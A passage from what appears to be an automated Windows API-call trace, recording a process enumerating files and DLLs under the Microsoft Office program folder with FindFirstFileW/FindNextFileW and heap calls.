ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP9FA1~1.XML")) returned 1 [0277.099] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP330B~1.XML")) returned 1 [0277.099] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0277.100] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6206~1.XML")) returned 1 [0277.314] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APD1EA~1.XML")) returned 1 [0277.314] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6EFE~1.XML")) returned 1 [0277.314] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", cAlternateFileName="APB63F~1.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", cAlternateFileName="APB913~1.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP4637~1.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2FE2~1.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP2C4B~1.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APF00A~1.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~2.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP202C~1.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", cAlternateFileName="APBC30~1.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCB35~1.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP5E1E~1.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~3.XML")) returned 1 [0277.315] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE0B7~1.XML")) returned 1 [0277.316] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8BF9~1.XML")) returned 1 [0277.316] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.common.xml", cAlternateFileName="AP3FD6~1.XML")) returned 1 [0277.316] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="AP942B~1.XML")) returned 1 [0277.316] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 1 [0277.316] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 0 [0277.316] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0277.316] GetProcessHeap () returned 0xaf0000 [0277.316] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3688270 | out: hHeap=0xaf0000) returned 1 [0277.316] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="root", cAlternateFileName="")) returned 1 [0277.316] GetProcessHeap () returned 0xaf0000 [0277.316] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0277.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0277.316] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.317] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0277.317] GetProcessHeap () returned 0xaf0000 [0277.317] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b8288 [0277.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0277.318] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.318] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0715cb9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0715cb9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0952017, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0277.318] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0a832cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0277.318] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09c4608, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0277.318] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd115de42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd115de42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd158a009, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0277.319] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0eaf4e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0277.319] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c4cdf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c4cdf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0df0820, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0277.319] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c26cd1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c26cd1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0e62fac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0277.319] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd289cda7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd289cda7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2a1a592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0277.319] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d7e20c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0277.319] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0bda864, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0277.319] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c99389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0277.319] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0af5a16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0af5a16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c4cdf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0277.319] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e086ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e086ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2365abe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0277.319] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: 